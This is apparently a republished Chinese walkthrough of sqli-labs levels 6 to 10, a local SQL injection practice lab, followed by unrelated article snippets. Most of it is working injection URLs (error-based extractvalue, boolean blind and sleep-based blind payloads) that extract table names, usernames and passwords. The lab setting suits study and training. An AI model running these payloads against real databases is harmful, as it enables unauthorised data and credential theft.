sql手工注入——sqli-labspage第六关到第十关

news2024/11/13 9:48:13

第六关

一确定攻击点判断闭合方式

跟个双引号引起报错 说明页面有报错语句的位置

http://127.0.0.1/Less-6/?id=1%22icon-default.png?t=N7T8http://127.0.0.1/Less-6/?id=1%22尝试闭合 闭合成功

http://127.0.0.1/Less-6/?id=1%22%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-6/?id=1%22%20--+

二.查询数据库名

 http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue(1,concat(1,database()))%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue(1,concat(1,database()))%20--+

 

三.查表名

http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue%281,concat%281,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%29%29%29%20%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue%281,concat%281,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%29%29%29%20%20--+ 

四.查列名

http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue(1,concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)))%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue(1,concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27)))%20--+

五.查具体的username和password

http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue(1,concat(1,(select%20group_concat(username,password)%20from%20users)))%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-6/?id=1%22%20and%20extractvalue(1,concat(1,(select%20group_concat(username,password)%20from%20users)))%20--+

第七关 

一确定攻击点判断闭合方式

http://127.0.0.1/Less-7/?id=1%27))%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20--+

二.查询数据库名

http://127.0.0.1/Less-7/?id=1%27))%20and%20length(database())%3E7%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20length(database())%3E7%20--+

 http://127.0.0.1/Less-7/?id=1%27))%20and%20length(database())%3E8%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20length(database())%3E8%20--+

说明数据库长度为8

http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))%3E114%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))%3E114%20--+

利用sacii表和bp抓包工作可以直接得出数据库为security 

 

三.查表名

http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100--+ 
http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101--+

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

以此类推

................................

最终得出第一张表的表名为emails

也可用不让burp抓包和sacii表得出

四.查列名

http://127.0.0.1/Less-7/?id=1'))%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema='security'%20and%20table_name='users'%20limit%200,1),1,1))%3E104--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1'))%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema='security'%20and%20table_name='users'%20limit%200,1),1,1))%3E104--+

 http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............

最终得出users表的第一个字段为id

同上所述一样

五.查具体的username

http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67--+

http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68--+icon-default.png?t=N7T8http://127.0.0.1/Less-7/?id=1%27))%20and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68--+ 

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........

最终得出users表里面的username字段的第一条数据为Dumb

第八关

一.确定攻击点判断闭合方式

http://127.0.0.1/Less-8/?id=1%27

http://127.0.0.1/Less-8/?id=1%27%20--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20--+ 

二.查询数据库

使用布尔盲注

http://127.0.0.1/Less-8/?id=1%27%20and%20length(database())%3E7--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20length(database())%3E7--+ 
http://127.0.0.1/Less-8/?id=1%27%20and%20length(database())%3E8--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20length(database())%3E8--+

 

说明数据库长度为8

http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))%3E114--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))%3E114--+ 

http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))%3E115--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))%3E115--+ 

 数据库第一位字符ascii码为115 's'。

综上所述

...........

反复进几次

最终得出数据库名为security

三.查表名

http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100--+

http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101--+ 

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

.......以此类推

最终得出第一张表的表名为emails

四.查user表中第一个字段的第一个字符

http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E104--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E104--+

 http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27%20and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105--+

说明users表的第一个字段的第一位字符ascii码为105 'i'

............

最终得出users表的第一个字段为id

五.判断username列的第一条数据的第一个字符

http://127.0.0.1/Less-8/?id=1%27and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67--+

http://127.0.0.1/Less-8/?id=1%27and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68--+icon-default.png?t=N7T8http://127.0.0.1/Less-8/?id=1%27and%20ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68--+

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........

最终得出users表里面的username字段的第一条数据为Dumb

第九关

if(布尔盲注语句,sleep(3),1) //if判断语句,当布尔盲注语句成立时,执行sleep(3),否则执行1。

一.检查发现id等于多少都没有报错,可以使用时间盲注

http://127.0.0.1/Less-9/?id=adbfsficon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=adbfsf

二.进行时间盲注的判断发现响应时间为sleep函数执行的时间则存在

http://127.0.0.1/Less-9/?id=1%27%20and%20sleep(3)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27%20and%20sleep(3)--+

三.判断数据库的第一个字符

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E114%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E114%20,sleep(3),1)--+

 页面延迟3秒

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115 

http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E115%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E115%20,sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

............................最终得出数据库名为security

四.查security数据库中第一张表的第一位字符

http://127.0.0.1/Less-9/?id=1%27%20%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27%20%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100%20,sleep(3),1)--+

 页面延迟3秒http://127.0.0.1/Less-9/?id=1%27%20%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27%20%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101%20,sleep(3),1)--+

页面正常访问

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

.............

终得出第一张表的表名为emails

五.判断users表中第一个字段的第一位字符

http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E104%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E104%20,sleep(3),1)--+

页面延迟3秒 
http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105%20,sleep(3),1)--+

页面正常访问

说明users表的第一个字段的第一位字符ascii码为105 'i'

............

最终得出users表的第一个字段为id

六.判断username列的第一条数据的第一个字符

http://127.0.0.1/Less-9/?id=1%27and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67%20,sleep(3),1)--+

页面延迟3秒

http://127.0.0.1/Less-9/?id=1%27and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-9/?id=1%27and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68,sleep(3),1)--+ 

说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'

...........

最终得出users表里面的username字段的第一条数据为Dumb

第十关

 一.检查发现id等于多少都没有报错,可以使用时间盲注

http://127.0.0.1/Less-10/?id=sfvdsgblicon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=sfvdsgbl

二.进行时间盲注的判断发现响应时间为sleep函数执行的时间则存在

http://127.0.0.1/Less-10/?id=1%22%20and%20sleep(3)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20sleep(3)--+

三.判断数据库的第一个字符 

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))%3E114%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))%3E114%20,sleep(3),1)--+

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))%3E115%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))%3E115%20,sleep(3),1)--+

数据库第一位字符ascii码为115 's'。

...............

最终得出数据库名为security

四.查security数据库中第一张表的第一位字符

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100%20,sleep(3),1)--+

页面延迟三秒访问

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E101%20,sleep(3),1)--+

页面正常访问

大于100不大于101 说明第一张表的第一位字符等于101 'e' 。

.........

最终得出第一张表的表名为emails

五.判断users表中第一个字段的第一位字符

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E104%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E104%20,sleep(3),1)--+

页面延迟三秒访问 

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%200,1),1,1))%3E105%20,sleep(3),1)--+ 

说明users表的第一个字段的第一位字符ascii码为105 'i'

............

最终得出users表的第一个字段为id

 六.判断username列的第一条数据的第一个字符

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E67%20,sleep(3),1)--+

页面延迟三秒

http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68%20,sleep(3),1)--+icon-default.png?t=N7T8http://127.0.0.1/Less-10/?id=1%22%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E68%20,sleep(3),1)--+ 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2065344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多商户小程序审核存在商户入口无法通过

小程序拒绝如下: 需要注意的地方如下: 关闭店铺展示关闭商户入驻关闭diy中的申请入口、店铺街入口等关闭个人中心广告的申请入口关闭分销关闭支付宝

基于Java语言的能源管理系统中软网关的应用

介绍 软网关适用于建筑、工厂、商场、医院、园区、高耗能企业、城市双碳建设平台等的水、电、气、热、油等能源数据采集、加工、分析、预警、碳指标、碳排放计算等场景; 企业通过软网关采集底层电表数据,传输给时序库,从而完成能源管理系统…

nginx全方位讲解

安装nginx [rootnginx ~]# tar zxf nginx-1.24.0.tar.gz [rootnginx ~]# cd nginx-1.24.0/ [rootnginx nginx-1.24.0]# ls auto CHANGES.ru configure html Makefile objs src CHANGES conf contrib LICENSE man README [rootnginx nginx-…

Python编码系列—Python WebSocket 实时通信:构建高效互动的网络应用

🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…

基于贝叶斯优化卷积神经网络(Bayes-CNN)的多因子数据分类识别算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 贝叶斯优化过程 贝叶斯优化后的CNN训练和识别结果 标准的CNN的识别结果 2.算法运行软件版本 matlab2022a 3.部分核心程…

JavaScript(29)——函数参数

动态参数 arguments是函数内部内置的伪数组变量,它包含了调用函数时传入的所有实参,结果是一个伪数组。 function sum() {console.log(arguments);}sum(2, 3, 4)sum(6, 7) 剩余参数 剩余参数允许我们将一个不定数量的参数表示为一个数组 function sum…

深入理解HTTP的基础知识:请求-响应过程解析

首先,我们从网络协议的最顶层开始讲解,即应用层。在网络通信中,应用层是最接近用户的一层,它负责为特定的网络应用提供服务和功能。应用层协议定义了数据交换的规则和格式,以便不同的应用程序能够相互通信和交换信息。…

Xenu 网站死链接检测工具下载以及使用指南

引言 Xenus Link Sleuth(简称 Xenu)是一款功能强大的网站死链接检测工具。由于其绿色蜗牛形状的图标,Xenu 被广大的 SEO 人员亲切地称为“绿蜗牛”。 随着网站的发展,可能会因为删除过期内容或改版而导致一些死链接的产生。死链…

扫描包得到所有Bean的Class对象

文章目录 1.任务介绍以及类加载器1.介绍2.类加载器1.介绍2.自己程序的类路径 2.新建一个模块sun-spring用来写自己的spring容器1.新建模块2.查看是否交给父模块管理3.引入日志 3.具体实现1.目录2.Component.java3.ComponentScan.java4.MonsterDao.java5.MonsterService.java6.S…

第三期书生大模型实战营 进阶岛第3关LMDeploy 量化部署进阶实践

环境准备 conda create -n lmdeploy python3.10 -y conda activate lmdeploy conda install pytorch2.1.2 torchvision0.16.2 torchaudio2.1.2 pytorch-cuda12.1 -c pytorch -c nvidia -y pip install timm1.0.8 openai1.40.3 lmdeploy[all]0.5.3为方便文件管理,我…

Vue(一) 插值与指令语法、数据代理、MVVM模式、事件处理

文章目录 1. 初始Vue2. 模板语法2.1 插值语法2.2 指令语法 3. el与data的两种写法3.1 el的两种写法3.2 data的两种写法 4. MVVM模式5. 数据代理5.1 Object.defineProperty()5.2 何为数据代理5.4 vue中的数据代理 6. 事件处理6.1 v-on6.2 事件修饰符6.3 键盘按键事件 1. 初始Vue…

【C语言】预处理的使用

预处理 一、预处理-宏定义1、程序编译过程(1) 编写源程序(2) 程序编译过程说明 2、预处理3、宏的概念4、无参宏5、带参宏6、带参宏的副作用7、宏定义中的符号粘贴 二、预处理.条件编译1、无值宏定义2、条件编译3、条件编译的使用场景 三、预处理.头文件1、头文件的作用2. 头文件…

RTSP/Onvif安防视频监控平台EasyNVR在欧拉系统中启动失败的原因排查

视频安防监控平台EasyNVR可支持设备通过RTSP/Onvif协议接入,并能对接入的视频流进行处理与多端分发,包括RTSP、RTMP、HTTP-FLV、WS-FLV、HLS、WebRTC等多种视频流格式。平台支持轻量化部署,可兼容各类操作系统,包括Windows、Linux…

Admin.NET源码学习(4:基于Furion的后台服务启动方式浅析)

Admin.NET为前后端分离架构,后台服务的入口项目为Admin.NET.Web.Entry,其与其它项目的依赖关系如下图所示。   由于项目采用Furion框架,后台服务启动方式、注册方式、配置方式等方面与常规的asp.net core项目差异明显,初步接触…

计算机的错误计算(七十)

摘要 讨论大数的正割函数 sec(x)的错误计算。 例1. 已知 在 Maple 中计算 在 Maple中输入: restart; sec(30^54.8); 则输出: -5.214386310 若输入: Digits : 16;evalf[16](sec(30^54.8)); 则输出: 1.324455078865824…

中年人开发语言学习之路,反其道而行之

大家都更愿意学习新技术、新架构,代表着新方向新趋势,当大家都这么想的时候,注定了竞争就会激烈。有一部分中年程序员,反其道而行之,学习一些老掉牙的开发语言,向哪些近乎被遗忘的老旧系统进军。 市面上依…

一文了解Ansible原理以及常见使用模块

ansible使用手册 1. 简述 Ansible 是一种开源的自动化工具,主要用于配置管理、应用程序部署和任务自动化。 它使用简单的 YAML 语言来定义自动化的任务【playbook】,使得配置和部署变得更加直观和易于管理。 基于SSH协议连接到远程主机来执行指令。 2…

图像数据处理21

五、边缘检测 5.2基于二阶导数的边缘检测 一阶导数(如Sobel、Prewitt算子)能够捕捉到灰度值的快速变化,但有时会因检测到过多的边缘点而导致边缘线过粗。为了更加精确地定位边缘位置,可以利用二阶导数的零交叉点。零交叉点是是函…

触想工业一体机辅助DR系统提升医学影像诊断效率

一、行业发展背景 早期X线摄影依赖胶片成像,不便于图像存储管理,且显影过程长,无法进行后期处理,诊断质量和效率受到局限。 随着数字化技术的发展,DR系统问世,利用平板探测器将X射线图像转化为数字信号&…

推荐一款功能全面的层次化笔记应用,支持自由拖拽、缩放、旋转,可视化非常牛逼(附源码)

背景 不知道各位大佬日常生活中笔记软件用的多不,小编在工作中常常用笔记来记录每天的收获和安排。笔记软件的好坏直接影响了工作的心情和效率。今天给大家介绍的这款笔记软件,以其强大的笔记功能为基础,创造性地融入了画布式的自由编辑特性…